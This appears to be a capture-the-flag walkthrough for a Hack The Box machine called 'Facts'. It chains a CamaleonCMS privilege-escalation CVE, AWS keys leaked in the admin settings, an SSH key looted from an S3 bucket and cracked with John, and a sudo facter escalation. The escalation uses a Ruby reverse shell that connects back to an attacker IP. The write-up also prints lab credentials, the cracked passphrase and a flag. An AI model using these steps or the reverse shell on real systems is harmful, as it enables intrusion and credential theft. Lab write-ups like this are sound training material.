Reconnaissance

┌──(root㉿kali)-[~/HTB/easy/facts]
└─# nmap -Pn -sC -sV 10.129.8.195
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-26 09:54 -0500
Nmap scan report for 10.129.8.195
Host is up (0.036s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open  http    nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
|_http-server-header: nginx/1.26.3 (Ubuntu)

Two ports — SSH and HTTP. Add facts.htb to /etc/hosts and start poking at the web app.

Enumeration

Running ffuf for directory busting turns up a hidden /admin page.

ffuf results showing /admin

Navigating to /admin shows a login form. The app helpfully tells us whether a username exists or not — but rather than brute forcing, we can just register a new account. If the username is already taken it refuses; otherwise registration goes through fine.

Admin login page

Register a fresh account and log in. The dashboard reveals the site is running CamaleonCMS version 2.9.0, which is vulnerable to CVE-2025-2304 — a privilege escalation bug with a public PoC: https://github.com/7acini/CVE-2025-2304-CamaleonCMS-PoC/tree/main

CamaleonCMS version disclosure

Exploitation

Run the PoC against the target, then re-authenticate. The admin panel now exposes a full set of options that weren’t available before.

Expanded admin panel post-exploitation

Digging through the settings — Settings > General Site > Filesystem Settings — reveals hardcoded AWS S3 credentials.

AWS S3 credentials in filesystem settings

Foothold

Configure the credentials locally and start enumerating the S3 buckets:

aws configure --profile facts
AWS Access Key ID [None]: AKIA34C4A978B6744238
AWS Secret Access Key [None]: U/4tiA97GZ2V9CmuGVjPSMP8/ID4tynHzGSVs66K
Default region name [None]: us-east-1
aws s3 ls --endpoint-url http://facts.htb:54321
2025-09-11 07:06:52 internal
2025-09-11 07:06:52 randomfacts

The internal bucket looks promising:

┌──(root㉿kali)-[~/HTB/easy/facts]
└─# aws s3 ls s3://internal --endpoint-url http://facts.htb:54321 --profile facts
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 12:45:13        220 .bash_logout
2026-01-08 12:45:13       3900 .bashrc
2026-01-08 12:47:17         20 .lesshst
2026-01-08 12:47:17        807 .profile

There’s a .ssh directory. Sync it down:

┌──(root㉿kali)-[~/HTB/easy/facts]
└─# aws s3 sync s3://internal/.ssh ./ssh_loot --endpoint-url http://facts.htb:54321 --profile facts
download: s3://internal/.ssh/id_ed25519 to ssh_loot/id_ed25519
download: s3://internal/.ssh/authorized_keys to ssh_loot/authorized_keys

The key is passphrase protected. We don’t know the username yet either, so crack the passphrase first with John:

┌──(root㉿kali)-[~/HTB/easy/facts/ssh_loot]
└─# ssh2john id_ed25519 > key.john

┌──(root㉿kali)-[~/HTB/easy/facts/ssh_loot]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt key.john
...
dragonballz      (id_ed25519)
1g 0:00:17:45 DONE

Passphrase is dragonballz. Now extract the public key to get the username embedded in it:

┌──(root㉿kali)-[~/HTB/easy/facts/ssh_loot]
└─# ssh-keygen -y -f id_ed25519
Enter passphrase for "id_ed25519":
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB2m3okIFmcDkGcJrAdi1XWvaSshz+1Ae6MQx5DLwSFq trivia@facts.htb

User is trivia. SSH in and grab the flag from william’s home directory:

trivia@facts:/home/william$ cat user.txt
f39f154c69e2c14f1f63f009eefdd0da

Privilege Escalation

Check trivia’s sudo permissions:

trivia@facts:~$ sudo -l
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

facter can be run as root without a password. GTFOBins shows it will execute any .rb file passed via --custom-dir.

GTFOBins facter sudo entry

Create a Ruby reverse shell in trivia’s home directory:

trivia@facts:~$ cat shell.rb
#!/usr/bin/ruby
require 'socket'
spawn("sh", [:in, :out, :err] => TCPSocket.new("10.10.15.245", 4444))

Start a listener on your attacking machine:

┌──(root㉿kali)-[~]
└─# nc -nvlp 4444
listening on [any] 4444 ...

Trigger it:

trivia@facts:~$ sudo facter --custom-dir=. x

Root shell lands:

connect to [10.10.15.245] from (UNKNOWN) [10.129.8.200] 51700
id
uid=0(root) gid=0(root) groups=0(root)